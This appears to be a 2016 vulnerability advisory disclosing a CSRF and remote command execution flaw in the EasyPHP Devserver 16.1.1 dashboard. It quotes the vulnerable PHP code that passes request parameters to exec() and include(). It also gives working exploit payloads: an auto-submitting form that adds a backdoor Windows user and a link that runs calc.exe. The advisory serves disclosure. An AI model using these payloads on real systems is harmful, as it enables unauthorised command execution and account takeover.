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[+] Credits: John Page aka hyp3rlinx [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/EASYPHP-DEV-SERVER-REMOTE-CMD-EXECUTION.txt [+] ISR: ApparitionSec Vendor: =============== www.easyphp.org Product: ============================= EasyPHP Devserver v16.1.1 easyphp-devserver-16.1.1-setup.exe hash: 64184d330a34be9e6c029ffa63c903de A complete WAMP environment for PHP development & personal web hosting. Host with Webserver PHP, Apache, MySQL, Nginx, PhpMyAdmin, Xdebug, PostgreSQL, MongoDB, Python, Ruby...for Windows. Vulnerability Type: ================================= CSRF / Remote Command Execution CVE Reference: ============== N/A Vulnerability Details: ===================== EasyPHP Devserver dashboard runs on port 1111, the PHP code contains mulitple RCE vectors, which can allow arbitrary OS commands to be executed on the target system by remote attackers, if a user visits malicious webpage or link. The "index.php" and "explorer.php" files both contain vulnerable code that will happily process both GET / POST RCE requests. Below EasyPHP Code contains no CSRF token or checks whatsoever. All attacker needs is to supply 'type' and command values. Possibility for RFI (remote file inclusion) if the "allow_url_include=0" setting is changed in "php.ini" configuration. No checks or CSRF tokens for PHP include directives either, the default however is set to Off. e.g. RFI attempt result Warning: include(): http:// wrapper is disabled in the server configuration by allow_url_include=0 line 8 of "explorer.php" ====================== //== ACTIONS ================================================================== if (isset($_POST['action'])) { // Include and exec if (isset($_POST['action']['request'])) { foreach ($_POST['action']['request'] as $request) { if ($request['type'] == 'include') include(urldecode($request['value'])); if ($request['type'] == 'exe') exec(urldecode($request['value'])); } } $redirect = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; header("Location: " . $redirect); exit; } ////////////////////////////////////////////////// line 48 "index.php" ================== //== ACTIONS ================================================================== if (isset($_POST['action'])) { // Include and exec if (isset($_POST['action']['request'])) { foreach ($_POST['action']['request'] as $request) { if ($request['type'] == 'include') include(urldecode($request['value'])); if ($request['type'] == 'exe') exec(urldecode($request['value'])); } } sleep(1); $redirect = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; header("Location: " . $redirect); exit; } if (isset($_GET['action'])) { // Include and exec if ($_GET['action'] == 'include') include(urldecode($_GET['value'])); if ($_GET['action'] == 'exe') exec(urldecode($_GET['value'])); if (isset($_GET['redirect'])) { $redirect = urldecode($_GET['redirect']); } else { $redirect = 'http://127.0.0.1:1111/index.php'; } sleep(1); header("Location: " . $redirect); exit; } Exploit code(s): =============== 1) Add Backdoor User Account <form action="http://127.0.0.1:1111/explorer.php" method="post"> <input type="hidden" name="action[request][0][type]" value="exe"> <input type="hidden" name="action[request][0][value]" value="net user EVIL Password /add"> <script>document.forms[0].submit()</script> </form> 2) Run "calc.exe" <a href="http://127.0.0.1:1111/index.php?action=exe&value=calc.exe ">Clicky...</a> Disclosure Timeline: ====================================== Vendor Notification: No replies November 22, 2016 : Public Disclosure Exploitation Technique: ======================= Remote Severity Level: ================ Medium [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. hyp3rlinx |
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